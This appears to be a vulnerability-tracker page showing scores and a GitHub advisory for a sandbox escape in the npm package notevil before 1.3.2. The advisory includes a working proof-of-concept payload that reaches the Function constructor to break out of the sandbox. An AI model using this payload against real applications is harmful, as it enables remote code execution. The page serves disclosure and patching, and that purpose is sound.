Tracked for PyPI packages. HuggingFace models declare Python dependencies, so npm packages are not covered.
cvss
7.5
high
severity band, no base score published
epss
not scored
chance of exploitation in 30 days
xyz score
3.9
low
CyberXYZ composite out of 10
fig. 01 — GHSA-7r5f-7qr4-pf6q, the advisory selected below
// 3 advisories
GHSA-7r5f-7qr4-pf6q
HIGHGitHub rating
Versions of notevil prior to 1.3.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to prevent access to the Function constructor by not checking the return values of function calls. This allows attackers to access the Function prototype's constructor leading to the Sandbox Escape. An example payload is:
var safeEval = require('notevil')
var input = "" +
"function fn() {};" +
"var constructorProperty = Object.getOwnPropertyDescriptors(fn.__proto__).constructor;" +
"var properties = Object.values(constructorProperty);" +
"properties.pop();" +
"properties.pop();" +
"properties.pop();" +
"var Function = properties.pop();" +
"(Function('return this'))()";
safeEval(input)```
## Recommendation
Upgrade to version 1.3.2 or later.
Checked 2026-11-07 at 13:18 UTC. The most recent advisory here was published 2022-03-18. Updated continuously from NVD, GHSA, OSV and CNA feeds.